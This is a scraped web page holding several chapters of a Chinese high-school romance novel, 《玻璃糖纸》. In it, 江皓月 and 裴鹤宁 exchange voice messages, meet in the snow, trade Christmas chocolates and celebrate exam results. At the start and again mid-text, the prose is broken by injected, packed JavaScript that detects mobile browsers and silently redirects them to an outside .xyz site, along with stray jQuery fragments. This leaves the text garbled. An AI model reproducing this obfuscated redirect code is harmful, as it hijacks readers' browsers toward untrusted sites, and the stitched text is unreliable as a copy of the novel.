0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234519|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚自习三节课,就算作业再多,他第二节课也准能写完,然后第三节课用来预习、或者睡觉。 小蘑菇:【你们今天作业特别多吗?】 裴鹤宁:【还行】 小蘑菇:【快放松放松吧!】 裴鹤宁:【怎么放松】 江皓月给自己的大作拍照,点击发送:【看,江某人的大作!】 铅笔画的小漫画,小鲸鱼戴着眼镜拿着书本,指着黑板讲题,讲台下的蘑菇皱着眉,头晕眼花,脑袋里一团黑线。 虽然是很幼稚的简笔画,但是十多年的基本功摆在那,江皓月就算随手勾道弧线都像模像样。 小蘑菇:【可爱吧?蘑菇叉腰.jpg】 裴鹤宁:【可爱】 江皓月美滋滋的,从裴鹤宁回她第一句话开始,嘴角就没有放下。 小蘑菇:【时间不早了,我要睡觉啦!】 裴鹤宁:【好】 小蘑菇:【晚安安!】 裴鹤宁:【嗯】 江皓月不乐意了,她知道“晚安”有点不太寻常的意思,所以她没和欢乐哥说过,也没和其他男生说过。 小蘑菇:【裴鹤宁,跟我说晚安嘛,我都跟你说了!】 裴鹤宁就真的被她威逼利诱着,给她回了没什么感情的两个字:【晚安】 江皓月仰面躺在床上,忍不住想象,男生用那把好听的声线说这两个字,肯定很温柔、很磁性。 想着想着,脑袋上就长出一对犄角,变成了邪恶的小蘑菇:【你看,我都送你画了,你是不是也应该表示一下?】 裴鹤宁:【怎么表示】 江皓月满怀期待地打下一行字:【我想听你发语音说!】 对面沉默。 【还说不跟我划清界限呢……】 【还说给我奖励呢……】 【还说不是外人呢……】 江皓月发了个凄风苦雨下小蘑菇孤独离开的背影。 裴鹤宁被她缠得没有办法。 隔了一会儿,真的发过来一个5秒的语音。 江皓月从床上弹跳起身,去书桌上拿起耳机戴上,屏住呼吸,点击播放—— “江皓月同学。” 他的声音本来就好听,清冷干净的少年音色,咬字轻且清晰,一字一顿喊她的名字……耳朵瞬间发麻发烫…… 她戴着耳机,少年呼吸清浅,仿佛是在耳边说话,她似乎能感受到他呼吸的热气…… 而他似乎也被她弄得不好意思,短暂停顿后,语气无奈且飞快地说了句:“晚安。” 尾音很轻。 长短不过七个字。 江皓月听得面红耳赤,脸烧成熟透的苹果,耳朵更是要滴血。 她忍不住,又点击了一次播放…… 真的好好听…… 要流鼻血了…… 如果这把嗓音,叫宝宝呢? 只是想想,她都脸红心跳。 好一会儿,她脸颊的温度才降下来,重新拿起手机。 江皓月:【有没有女生跟你说过,你的声音在电话里超好听呀!】 裴鹤宁:【没有】 小蘑菇:【怎么会呢?】 那种很磁性却很清爽的感觉,完全可以当CV,只听声音都能想象出是个唇红齿白的少年郎。 却见他回复:【我微信里没女生】 江皓月下意识问:【那我不是女生吗?】 对面沉默了会儿,回过来一行字。 江皓月刚刚平复的心跳,又开始不讲道理地加速。 她在耳边循环播放的“江皓月同学,晚安”的音频里,看到裴鹤宁回复的—— 【你是第一个】 而江皓月在床上滚来滚去、滚来滚去的时候,裴鹤宁重新看向自己的物理卷子。 给江皓月回信息的时候,他手里的笔并没有放下,只是卷子空空如也,一道题都没有写。 看到什么,他的目光一顿。 而后,白皙耳侧慢慢变红。 试卷写姓名的位置,不知道什么时候,被他无意识写下了“江皓月”三个字。 他抿唇,提笔想要划掉。 可笔尖在她名字旁一顿,最终还是没有忍心。 11. 第 11 章 “梁蜚,巧克力,裴鹤宁给的!”——仓颉《玻璃糖纸》 - 十二月底,江皓月心心念念的初雪降临。 在韩剧又或者是电影里,初雪总与表白、初恋、喜欢的人有关。 可在高中校园里,下雪意味着扫雪,落在地上的雪如不及时清理,化开之后就会结冰。 于是高三正常上课,高一高二的学生暂停上课下楼扫雪。 江皓月很开心,虽然最近学习热情高涨,但她真的不爱学习,只要不上课,做什么她都乐意。 更何况,她喜欢所有的集体活动——升国旗、课间操、体育课…… 因为可以见到裴鹤宁。 班主任话音刚落,江皓月就迫不及待跑出了教学楼。 她玩心重,找了片没被踩过的雪地,拿出自己偷偷带的雪球夹。 夹子往雪里一伸、一夹、再一打开,就是一只圆滚滚的小鸭子。 她夹了一支鸭子军团,整整齐齐码在花坛上,而后从里面挑出最圆润的一只捧在手心。 这么可爱的小鸭子,怎么能不给裴鹤宁看看呢? 目光所及,一片黑色白色的羽绒服。 大家闷头扫雪,又或者打起雪仗,还有人偷偷拿出相机拍照。 视线扫了不到半圈,蓦地定住,一道穿黑色冲锋衣的挺拔背影,笔直投射在瞳孔之中。 男生身高优越,肩背特别挺拔,在人群里一眼就能看到,她都没有看到正脸,就笃定是他。 江皓月捧着她的小鸭子雪球往裴鹤宁的方向靠近。 旁边学习学傻掉的高中生们终于逮到放风机会,玩得很疯,时不时抓起一团雪扔到同伴身上。 地上的雪虽然没结冰,但已经被踩得很实,被冻得很硬,走在上面不留神的话,很容易摔倒。 江皓月走得很慢、很小心。 这时,不知道是谁团的雪球不讲道理偏离预定轨道,朝着她的方向袭来。 她毫无防备,下意识往旁边闪身想要躲过去——放在平时还好,可她踩在打滑的雪地上,一不小心整个人失去平衡,一屁股坐到了地上。 雪地里摔倒不是稀罕事。 几个男生嬉皮笑脸的:“江皓月,怎么行如此大礼?” 每年冬天,江皓月都得在雪地摔几跤,她喜欢雪,见到雪就缺心眼似的往上扑,又菜又爱玩。 何嘉豪习以为常:“老毛病了。” 江皓月皱了皱鼻子,给何嘉豪投过去一个气恼的眼神。 刚要起身,裴鹤宁回头,和坐在地上捧着小鸭子雪球的她对上视线。 银装素裹的背景下,男生发色很黑,目光和肤色透着冷,帅得惊心动魄。 他走到她面前,弯腰把手递给她:“起得来吗。” 他的手近在咫尺,虽然隔着黑色的骑行手套,仍能看出手指修长瘦直。 江皓月慢不拍不止地“嗯”了声,不敢去握他的手,小心翼翼搭着他的手腕借力起身。 比想象中更坚硬,有种隐忍不发的力量感。 江皓月起身拍了拍衣服,仍是笑眯眯的模样:“我刚才一屁股坐地上了,是不是搞笑?” 可裴鹤宁没笑,甚至有些严肃地喊她名字:“江皓月。” “嗯?” 少年垂眼,长而微翘的睫毛在眼睛下方投下阴影,蹙着眉问:“疼不疼?” 所有人都在笑,包括何嘉豪,包括她自己。 因为习以为常,以及……被大家笑着的时候,自己也跟着笑的话,会显得不那么丢人。 只有他心无旁骛地看着她,漆黑深邃的瞳孔里,映着她此时此刻呆滞的影子,问她:疼不疼。 零下的天气,心脏却先一步落进温暖的怀抱,入了春。 “不疼,羽绒服很厚,”江皓月献宝一样把手里的小鸭子雪球给他看,“ 好玩儿吧?我捏的。” 今天很冷,她又乐此不疲地夹了一个鸭子军团,这会儿手指已经冻得通红。 裴鹤宁“嗯”了声,接过她捧来的小鸭子,摘下自己的手套:“给你。” 某户外品牌的骑行手套,手背带白色logo,很利落也很酷。 江皓月这才察觉手指已经冻得像冰,手套里还残留着余温,来自他的手掌。 她忍不住想,包裹着自己的手的,不是手套,而是裴鹤宁的手…… 这样……算不算间接牵手了呢? 明明气温已经到了零下,她被这样的想象,弄得脸颊和耳朵都热烘烘,挨着火炉一样。 是遇到他之后的第一场雪。 未来像阳光照在雪上的反光,亮闪闪的,一片光明。 不知道说什么的时候,是江皓月先开口:“裴鹤宁。” 她喊他的名字,声音清脆,让人想起夏天西瓜最甜的那一口。 裴鹤宁垂眸。 江皓月校服外面裹着厚厚的浅黄色羽绒服,透着热气的戚风一般,下巴尖藏在领口白色的羊羔毛里,黑发发尾不怎么听话,有些向里、有些翘起,而她弯着一双眼睛,眼角眉梢都是明晃晃的笑意。 “你都不好奇,我是怎么在这么多人里一眼找到你的吗?” 她很得意,语气雀跃:“我都没有看到你的正脸,只看到你的背影就认出你来了!” 身侧少年瘦高,黑色冲锋衣材质硬挺,人站在冰天雪地里,也透出几分不近人情的冷,只有一双眼睛还有温度,瞳孔像没有结冰的湖面,透出清澈的粼粼波光。 他低声:“怎么认出的。” “你看我的头顶。” 江皓月神秘兮兮,把脑袋凑到他的眼皮底下,给他看:“看到了吗?” 女孩子发丝柔软,在阳光下显出毛茸茸的质感,随着她的靠近,蜂蜜柑橘的气息拂过鼻尖。 “看到没有呀?”她催促,卷翘的睫毛小扇子似的,扑闪扑闪。 裴鹤宁不明所以,淡声问:“看到什么?” 江皓月眉眼弯起,指着自己头顶不存在的天线,一本正经道:“裴鹤宁探测雷达呦。” 裴鹤宁似乎完全没有想到她会这样说,微微怔住。 视线相对,空气静默。 江皓月“嘿嘿”一乐,后知后觉有点不好意思。 是不是有点幼稚、有点无厘头了呀? 她是不是应该转移一下话题,让裴鹤宁忘记自己刚才不过脑子的幼稚发言呢? 她垂着脑袋不好意思,且不好意思得非常专心。 所以没有看到少年伸出手,骨节分明的手指想落在她的发顶,又轻轻蜷缩,收回垂到身侧。 所以没有看到他偏过头,齿尖咬着下嘴唇,嘴角轻轻扬起,弧度温柔又漂亮,破天荒有笑。 只是听到,雪天里少年嗓音含着不易察觉的笑意,又软又轻,雪花一样落在耳边—— “嗯,看到了。” - 雪断断续续下了一个星期。 这天晚自习上课前,裴鹤宁来到一班门口:“江皓月。” 他身形优越,个子还在长,但已经过了一米八五,轮廓俊秀,干净又白,就算不看眉眼五官,也知道是个不太常见的冰山帅哥。 江皓月从高高的书堆里猛地抬头,见是他,满世界都亮了。 她小跑着从教室出来,蓬松的发丝一翘一翘,假装震惊地睁圆眼睛:“呀!稀客!” 就见刚才那不苟言笑的冰山帅哥,英挺眉眼间冰雪消融似的,透出一点平易近人的温和,然后递给她一本装订好的习题册。 江皓月翻开瞅了眼:“数学笔记?” “嗯。” 江皓月好奇:“你从哪儿弄来的?” “学校书店。” 江皓月眼睫扑闪:“你是不是被人骗啦?” 这习题册真的好奇怪,有封面,但封面什么都没写,没有编者也没有出版社,看起来像盗版。 裴鹤宁只说:“没被骗,我回教室了。” 江皓月蹙眉,圆圆的杏眼,一眨不眨盯着人看的时候,很容易让人心软。 她小声咕哝:“这就回去啦?” 她好开心地跑出来的! 结果裴鹤宁递给她一本数学题就走! 这像话吗? 裴鹤宁被她这样盯着,停住脚步,而后哆啦A梦似的,又给她变出几块巧克力——是她喜欢的橙子流心和焦糖黑巧。 江皓月得到甜头,见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234520|181810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到小鱼干的猫似的,眼尾弯弯的嘴角翘翘的,甜度恐怕比她手里的巧克力还要高:“那我回班啦!” 她蹦蹦跶跶回到教室,巧克力大大方方捧到梁蜚面前:“巧克力,裴鹤宁给的!” 梁蜚停下手里的笔,上次她在便利店看到这个牌子的巧克力了。 因为江皓月老买,而她总是吃她带的点心和蛋糕,所以她也想买巧克力送给江皓月。 结果发现,这个牌子的巧克力,咬一口够她吃一星期的贫困生窗口,最终还是没舍得。 巧克力太贵,梁蜚很有负担,本来不想收下。 偏偏江皓月像跟同伴分享松果的小松鼠,眼眸亮晶晶,瞳孔里闪烁着让人心软的真诚。 巧克力应该是按克重卖的吧? 她挑了一块最小的、用玻璃糖纸包裹着的巧克力。 江皓月嘴里不吃甜的人,现在随时随地都能变出糖果和巧克力了呢。 江皓月咬着血橙流心,翻开裴鹤宁给她的习题册。 写着写着就发现,这习题册,好像有点东西诶…… 题目做起来特别顺手,刚好都是裴鹤宁给她讲过的她会的,难易度简直是量身定制。 等下课她要问问裴鹤宁,这习题册是从哪个犄角旮旯找到的,除了数学,还有没有别的学科。 就在她皱着眉头奋笔疾书时,突然什么都看不见了。 全世界被拉下电闸一般,教学楼外面同样一片漆黑。 楼道里不知道哪个班的在喊:“停电了!全停了!” 短暂的躁动之后,班主任开着手电进了教室:“刚接到通知,下雪导致供电线路出了点儿问题,现在正在抢修,今天晚自习就到这儿,大家注意安全,尤其是走读的同学。” 走廊里人挤人,有几个胆大的开了自己手机的手电筒。 江皓月随着人群下楼,眼睛适应黑暗适应得很慢,每一步都走得提心吊胆。 在楼梯拐角位置,她脚下突然踩空,冷不丁被吓了一跳,心说完蛋了,要滚下去了…… 就在她身体向前倾的那零点几秒钟里,手臂猛地被人从身后握住。 心脏悬空惊魂未定,江皓月回头,不知是谁的手电筒亮着,刚好照亮身后人的下半张脸,鼻梁挺直,下颌白皙。 裴鹤宁往下走了一级台阶,外套袖口递给她,冰冷声线难得有些软:“跟着我,慢慢走。” 悬空的心脏,变成湖面跳跃的小鱼,在胸腔扑通、扑通。 江皓月握住裴鹤宁的冲锋衣袖口,布料硬挺,攥在手心存在感强烈。 为了迁就她,裴鹤宁走得很慢,可是她的心跳却在加速,很快也很响亮,一声比一声清晰。 她突然就希望,楼梯长一点吧,她不会再摔倒了。 走出教学楼,月光如流水落在新下的雪上。 明明已经可以看清,明明已经可以自己走,但江皓月一直没松手。 她也害羞,猜测月光不足以照亮她发烫的耳朵,借着月光垂下眼睫,看自己的手抓着男生外套袖口的一点点布料。 现在攥着的位置,再往下一点点,就是少年白皙细长、骨节分明的手,赏心悦目、看起来很好牵的手。 如果他递过来的是他的手就好了。 如果他说的是“牵着我,慢慢走”就好了。 如果她现在不是十六岁,而是二十六岁就好了。 好像穿越到十年后看一眼。 看十年后的江皓月是不是已经牵到裴鹤宁的手。 “吓到了?”少年清冷嗓音从头顶落下,语气缓和。 刚才踩空的感觉,现在想想,仍然后怕。 江皓月心有余悸,声音透出劫后余生的庆幸:“幸亏你拉住我啦……” 不然,轻则崴脚,重则摔个狗啃泥。 万一脸着地的话,她不敢再往下想。 江皓月慢慢变回平日里元气满满的模样,忍不住感叹:“怎么就这么巧呢,这么多人,你就走在我的后面!我还没摔呢,你就拉住我了!” 她仰起脸,裴鹤宁瞳孔深处映着雪色和月光,漂亮得波光流转。 视线相对,他轻扬眉,低低说了句:“江皓月探测雷达。” 12.第 12 章 “梁蜚,他给女生送巧克力了!”——《玻璃糖纸》 - 轻而缓和的字音,长出小翅膀一样停在她的耳畔,她的心脏像被什么一下子击中。 她本以为,裴鹤宁会像往常、清清淡淡地“嗯”一声,又或者多说个字、告诉她是“碰巧”,完全没想过,他会告诉她——“江皓月探测雷达”。 一如那天在雪地里,她告诉他,之所以一眼就能认出他的背影,是因为她有“裴鹤宁探测雷达”。 她本来很话痨很外向的,可这个瞬间,竟然也什么都说不出来,只有脸颊自顾自地发烫。 如水清辉,温温柔柔落了裴鹤宁一身。 少年瞳孔清亮,似有月光静静流淌,让人心动得天崩地裂。 还好,还好,今天停电。 他看不到因为他一句话、脸红成苹果的她。 只是,她真的好想问—— 你也会悄悄看向我吗? 好多好多人的时候,你也会像我找你一样,找我吗? 那你有没有一点点、一点点的喜欢我呀? 那天晚上,小蘑菇的账号更新动态—— 银装素裹的世界里人山人海。 小鲸鱼和小蘑菇被人群分隔两端。 和其他人不同的是,他们的脑袋上竖着天线。 看到彼此的瞬间,天线指示灯不约而同亮起光,旁边还有一行字: 【叮!您的目标已找到!】 - 平安夜是个周五。 便利店,裴鹤宁拿了几支笔、几个笔记本,而后转到零食区。 何嘉豪抱着零食,凑到他旁边问:“你不是不吃甜的吗?怎么着,这是被我和江皓月传染了?” 裴鹤宁站在高高的货架旁,手已经伸向血橙流心巧克力。 闻言,微微一怔。 不知道从什么时候开始,他开始留意从来没有留意过的甜食区域。 看到柠檬糖,脑海浮现的是江皓月咬着糖时腮上鼓起圆圆的小球。 看到巧克力,想到的是江皓月撑开购物袋告诉他这个巧克力超级好吃。 路过蛋糕店,耳边有江皓月的声音——“今天宠幸哪个宝贝呢?瑟瑟发抖吧小蛋糕们!” 货架对面,几个女生叽叽喳喳,正在挑选圣诞节要送人的苹果—— “这不就是苹果吗?单独包装就这么贵。” “我要送给喜欢的人,当然得下血本啦。” “喜欢一个人是什么感觉呀?” “估计就是想看他笑,想把所有好吃的都买给他……” 裴鹤宁低头,看到自己手里的柠檬糖和巧克力。 没有一样是自己喜欢的,但却是她吃到会笑的。 这时,一道格外清甜的嗓音传到耳边—— “我要买苹果,你一个,何嘉豪一个,裴鹤宁一个……外面卖的包装太丑了,我要自己包。” 裴鹤宁抬眼,和推门而入的江皓月对上视线。 “裴鹤宁!这么巧!” 今天是平安夜,她的短发上别了一个小小的麋鹿发夹。 他“嗯”了声。 江皓月凑到他面前,目光扫过他怀里的巧克力和糖果,眼睛瞪得滚圆,故作震惊道:“吃糖竟然出现人传人现象!裴鹤宁也开始买糖和巧克力啦!” 四目相对,她满怀期待地问:“吃甜的心情好,你觉得有用吗?” 女孩子软软笑着,睫毛长而卷翘,随着她眨眼的动作扑闪扑闪。 他轻点头,说我先回教室了。 回到教室,他的位置不知道被谁放了一盒巧克力,和他刚买回来的一模一样。 他刚要拿起来放到讲台等人自己认领,却瞥见丝带系起来的蝴蝶结下面,压着一张卡片。 上面写着:“裴鹤宁,我喜欢你。” 落款带班级姓名,但他毫无印象。 隔壁一班。 一连几个课间,江皓月争分夺秒,包好了苹果。 她用包装纸把苹果包成糖果的形状,封口处贴了圣诞元素贴纸,两旁用丝带系着,是红、绿、白的圣诞配色,同时点缀铃铛、松果还有小雪人挂件。 每个糖果拆开,都有她写的圣诞祝福。 虽然只是个苹果,但她希望自己的朋友们收到的是最别致、最好看的苹果。 她先让梁蜚挑了一个,梁蜚挑剩下的,才抱在怀里去了隔壁重点班。 平时重点班下课鸦雀无声,学霸们都坐在自己的位置上学习或讨论问题,今天难得热闹。 江皓月刚一走近,一道声音直直钻进她的耳朵——“裴鹤宁给高二学姐送了巧克力!” 她怔在原地。 “那学姐叫什么名?” 那男生说了个名字:“听说是学美术的,长得很漂亮。” 而这个学姐,江皓月在画室见过。 学姐头发长长的,身上香香的,还给她分过好吃的小饼干,她都觉得赏心悦目、非常喜欢。而且,文化课成绩还是她们那一届美术生里最好的,连数学都能考一百二十多分,可见人家脑袋也很聪明。 难怪裴鹤宁今天买了巧克力呢。 她还傻兮兮的凑上去,跟他说这个巧克力好吃! “给我和裴鹤宁的?” 江皓月想东想西,丝毫没察觉何嘉豪已经杵到面前。 她的眉毛皱着,脸也皱着,把苹果往何嘉豪怀里一塞:“都是给你的!平安夜吃一个!圣诞节吃一个!” 江皓月小学生脾气上来,气鼓鼓转身,刚好和从外面回来的裴鹤宁撞上。 少年黑发不遮眉眼,脸庞仍青涩,但已经完全可以用英俊形容,鼻梁又高又挺,薄唇是很漂亮的红色,完全就是“唇红齿白”的具象化。 真好看。 只可惜再好看也不是她的! 目光相撞,江皓月很礼貌地说了句“你好”,就回了自己班。 她愤愤叩开笔盖,写数学题写出了上阵杀敌的架势,甚至放学铃声响起时,她还意犹未尽。 她慢半拍地扣上笔盖收起习题背上书包,不像往常急着去教室门口,动作慢吞吞没有精神。 只是没有想到,今天教室门口等人的变成了他。 男生校服外面套了一件宽宽大大的白色羽绒服,他穿黑色很酷,穿白色就很纯情很貌美,干净得像冬天落下的第一捧新雪,清寒气息扑面而来。 很没出息的,她看到他的第一反应永远是开心和心动。 他喊她的名字:“江皓月。” 江皓月嘴角向下耷拉:“你怎么不和学姐一起走?” 裴鹤宁皱眉的样子也很帅:“什么。” 江皓月仰起脸控诉:“就是你送巧克力的学姐!” 少年垂眼,冷冽的嗓音带了几分无奈,纠正她:“是还,不是送。” 还? 难道是学姐先送他,他又给送回去了? 江皓月有点懵:“可是我都看到你买巧克力了!” 裴鹤宁没说话,低头从书包里拿出巧克力递给她。 男生柔软黑发下,天生锋利的一双眼睛,可瞳孔像泉水洗净的玻璃球,温柔而又清透地注视着她,长长的睫毛轻轻覆着,看起来甚至有点纯良无害。 江皓月接过,看到巧克力上还有张圣诞卡片,上面很没情调地写着:【祝你成绩进步,得偿所愿。】 可就算没情调,她也心跳砰砰——原来是给她的呀! 嘴角的笑意压不住,江皓月带点讨好带点愧疚地说:“我都没给你准备圣诞节礼物呢。” 裴鹤宁居高临下睨她一眼,没什么情绪地问:“不是说苹果有我的份吗。” 江皓月蚊子似的哼哼唧唧嗓音含糊不清:“本来是有两个苹果的,但我让何嘉豪今天吃一个明天吃一个……” 她一怒之下,就这么怒了一下,一边说着,还一边偷瞄裴鹤宁的表情。 从侧面的视角看过去,裴鹤宁下颌俊秀锋利,是一道很不近人情的弧线,嘴角却漂亮上扬,忍俊不禁的弧度——是有点类似于看到小孩子调皮捣蛋的那种表情,带着少年人干净温柔的纵容。 好看得叫人脸红心跳。 只是,江皓月还是忍不住想—— 学姐为什么要送巧克力给他? 学姐跟他说什么了吗? 她这里还没进展呢! 她状似不经意地开口:“不过那个学姐挺漂亮的哈?个子高高的,头发长长的。性格也很温柔,在画室还分给我小饼干吃了……” “她漂不漂亮、性格好不好,都跟我没有关系。” 裴鹤宁视线压低,清冷嗓音无波无澜:“我都不喜欢。” 江皓月下意识问:“那你喜欢什么样的?” “江皓月。” 江皓月呼吸一凝心脏悬空:“嗯?” 裴鹤宁淡淡道:“把心思放到学习上面。” 江皓月的心脏重重落回肚子里,不情不愿拖长尾音“哦”了一声。 一个圣诞节送巧克力都只会叮嘱她好好学习的直男,她能指望他说什么呢? 但是…… 说话就说话! 干嘛大喘气! 干嘛说到一半非叫她的名字! ——那你喜欢什么样的? ——江皓月。 这不就好像她问他喜欢什么样子的,他说喜欢她一样吗?! - 周六,圣诞节。 江皓月在画室待了一整天,天黑才回家。 她喜欢画画,所以画起来不觉得累,自然而然就忘了时间。 客厅桌子上摆着没拆封的纸盒,她问妈妈:“盒子里是什么?” 爸爸在厨房炒菜,妈妈盛好饭端出来:“给你的圣诞节礼物。” 江皓月小心翼翼拆开包装,看清里面是什么的瞬间,眼睛一下子亮了:“我一直想买的数位板!” 晚饭后,江皓月迫不及待抱着数 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在她的画里,高高的落地窗外漫天鹅毛飘飘洒洒,不知道被谁堆起的小雪人,脑袋上顶着毛线帽,鼻子是一根胡萝卜,树枝做成的手臂朝着世界张开怀抱。 而屋子里面,壁炉燃烧,温暖明亮,顶着毛线帽的小鲸鱼正在拆开圣诞树上的礼物盒子。 盒子打开的瞬间,“砰”的一下彩带炸开,里面蹦出圆滚滚的小蘑菇。 小蘑菇兴冲冲地对他说:“小鲸鱼!Marry Christmas!” 画发给裴鹤宁后,江皓月才意识到英文单词写错了。 应该是“Merry”,而不是“Marry”。 她是很喜欢裴鹤宁没错,但她才十六岁,说结婚未免也太早了点。 裴鹤宁并没有纠正她,也许是没有发现,所以她也没有提,反正瑕不掩瑜。 他没回信息,江皓月直接一个语音电话拨过去,反正裴鹤宁就在手机旁边。 她渐渐开始不满足。 一开始是能加到微信就很开心了。 后来是她给他发信息他回她就很开心了。 再后来,是他说“烦的人不会回”,她能随时随地给他发信息。 可现在,她想不去学校、见不到他人的时候,也能听见他的声音。 如果他愿意跟她视频就更好了!只不过,她可能会有一点点害羞…… 圣诞节,裴鹤宁是一个人吗? 他的爸爸,是不是和那个新认识的阿姨去过节了呢? 电话被接起。 “裴鹤宁!” “嗯。” 江皓月嘴角上扬,笑意把她的嗓音浸得又软又甜:“圣诞节快乐呦!” 男生音色清爽,像泉水,透过电流就多了几分磁性:“圣诞节快乐。” 窗外,雪花簌簌落下,世界格外明亮。 楼下有不怕冷的小孩子在打雪仗,被家长拎着耳朵提回家; 门外妈妈爸爸依偎在一起看综艺,时不时传来带笑的说话声; 厨房的锅里煮着红豆年糕,甜甜的香气蔓延,是今晚的夜宵…… 一切的一切,都让人心脏软软。 江皓月就在这样心脏软软的氛围里,和喜欢的人打电话。 “外面又下雪了呢!” “嗯。” 她小声问:“你在做什么呀?” 裴鹤宁淡声:“给你回信息。” 江皓月在床上打了个滚:“那你别回信息了,直接说给我听吧。” “我画的画可爱吗?” “嗯。” 江皓月幽幽怨怨:“好、高、冷、油……” 不知道哪儿的口音,每个字音都好像在皱眉。 电话那边,裴鹤宁嗓音不自觉放软了些,一字一顿告诉她:“可爱。” 江皓月觉得他外表冷冷的,其实内里软软的,甚至还有点甜。 她得意道:“等哪天我出名了,你能拿去卖个大价钱呢!” “知道了,”男生轻轻笑了,语气里透出一点听之任之的纵容,“大画家。” 他带笑的声音有点散漫,江皓月不自觉捏了捏自己的耳朵,有点烫,有点发麻…… “你说可爱,那哪里可爱?”她忍不住问,“是小蘑菇可爱,还是小鲸鱼可爱?” 小鲸鱼不苟言笑,小蘑菇眉眼弯弯,在江皓月眼里,都可爱,都是心头宝。 裴鹤宁没有应声,似乎很难抉择。 江皓月催促:“嗯嗯嗯?哪个可爱嘛?” 话说出口,才发现自己的语气有点像是撒娇。 忍不住把脸埋到枕头,脸颊红红等男生回答。 听筒压在耳朵和枕头的缝隙,少年清浅的呼吸近在咫尺。 万籁俱寂,心跳清晰。 半晌,被她缠得没有办法的少年淡声开口,冷而清晰的咬字,干干净净落在耳边—— “你可爱。” 13.第 13 章 “梁蜚,他说我厉害呢!”——仓颉《玻璃糖纸》 - “你可爱。” 少年好听的嗓音萦绕耳边,完全就是个让人脸红心跳的低音炮,江皓月埋在枕头里的脸烧得滚烫。 好半天,她才捏着红得快要滴血的耳朵,闷声闷气问:“裴鹤宁,你能再说一遍吗?” 少年嗓音干净也青涩,不见平日的冷淡和游刃有余,轻轻问了句:“再说一遍什么。” “就是……”江皓月豁出去了,“就是……我可爱……” 她磕磕绊绊,越说声音越小、脸颊越烫,但还是很坚持:“我想录下来,以后想听就能听到了……” 电话那边,少年轻咳了声,也透露出几分不自在,他没接她的话,只说:“时间不早,早点休息。” 江皓月忍不住想他现在的样子—— 是不是垂着长长的睫毛,薄唇抿起,耳朵已经红透……他皮肤白,肯定很明显。 明明看起来好高冷好难接近的帅哥,原来这么容易害羞又这么纯情的吗…… 原来最可爱的不是小蘑菇也不是小鲸鱼,而是,害羞的裴鹤宁。 于是圣诞节这天晚上,小蘑菇的账号更新了一幅画—— 扮成圣诞老人的小蘑菇,戴着尖尖的帽子,穿着红通通的外套。 她捧着礼物,问小鲸鱼:“你觉得小铃铛可爱还是小雪人可爱?” 小鲸鱼对小蘑菇说:“你可爱。” - 一月下旬,期末考试如期而至。 江皓月从没在考试的时候紧张过,因为不在意,所以心态很稳,可这次数学试卷发下来,她叩开笔盖,忐忑又期待,前所未有的体验。 在把卷子浏览一遍之后,她开始写第一题,然后就发现—— 这个题型,裴鹤宁给她讲过。 那个题型,她在裴鹤宁给的习题册上见过。 她费好大劲得出来的答案,选项里还真的有一个。 大题的第二问有难度,她就把自己能想到的都写上去,笔迹认真。 大题的第三问不在她的能力范畴,她也不在上面浪费时间,跳过去看下一题。 两天之内,九门学科轮番轰炸。 江皓月脑袋嗡嗡嗡,寒假得睡个两天才能养回来。 放假那天,成绩张贴出来。 宣传栏前里三层外三层都是人。 江皓月先从上往下看找裴鹤宁——年级第三,数学满分,发挥稳定,不错不错。 视线继续往下,何嘉豪,年级第十八,数学也是满分,怎么就不能分她一点点呢? 看到谁,她忍不住惊呼:“梁蜚!你进了年级前二十!等高二分班你就可以去重点班啦!” 梁蜚抿唇笑笑,她的情绪总是很淡,但嘴角弯起的弧度说明,她真的很开心。 好了,朋友们都能过个好年了。 成绩单贴了好几张,看完小伙伴们的,江皓月才钻到最后面那几张前,找自己的名字。 几乎是刚刚站稳,男生清冷的嗓音从头顶落下:“你在第521个。” 江皓月回头,裴鹤宁早就已经站在这边,他身高腿长不近视,但从密密麻麻的名字里找到她的,还是很不容易。 她赶紧去找自己的数学成绩,都没顾得上问一问裴鹤宁——你的名字明明在前面,杵在这儿干嘛? “裴鹤宁!” “嗯。” “我数学过90了!”江皓月兴奋得像中了彩票,“竟然有98呢!差一点都要100了!” 数学进步了20分,年级总排名也进步了30多个! 她眉毛扬起,柔软翘着的每根发丝都在手舞足蹈:“厉害吧!我厉害吧!” 目光相对,数学考了满分的裴鹤宁对着数学第一次及格的江皓月,很认真地说了一句“厉害”。 江皓月仰起脸,阳光下脸颊绒毛清晰可见:“我要奖励!” 她是被鼓励着长大的,考试进步有奖励、画画画得好有奖励、做家务有奖励,甚至早睡早起都有奖励,从小到大都泡在蜜罐子里。 裴鹤宁压低视线,睫毛浓密纤长,冷而乖,轻声问:“你想要什么奖励。” 好喜欢他。 可是寒假就不能天天见面了。 江皓月注视着那双自己为之心动的眼睛,一字一顿:“我想要的奖励,是一次寒假无条件见面的机会。” 她难得有些霸道:“只要我叫你,你就要出来见我。” 明明最该得到奖励的,是给她补习给她讲题的裴鹤宁。 少年还在长,眉峰挺拔,越发英气,脸庞瘦削而五官立体,看起来真的冷,可眼尾一弯,瞳孔深处尽是温柔清透的光。 “好。” - 小年那天,市公安局为辛巴举行退役仪式。 “功勋犬辛巴,入警八年,出色完成了各项工作任务,今天到达服役年限,光荣退役!” “敬礼!” 一众民警右手举高到太阳穴的位置,敬礼。 而警犬辛巴立起身,收起两只前爪,回礼。 “卸下警犬标识!” 训导员谭将明把警犬标识从辛巴背上撕下,这一刻,警犬辛巴变回小狗辛巴。 裴鹤宁低声:“谭叔叔,领养的人到了吗?” “在等着了,”谭将明看着眼前已经比自己高的少年,笑道:“时间真快,辛巴退役了,你也长大了。” 他看着辛巴扑到裴鹤宁身上。 那平日里总是冷着脸、不苟言笑的少年顺势在训练场上坐下来,笑起来的时候,眉眼都柔和了。 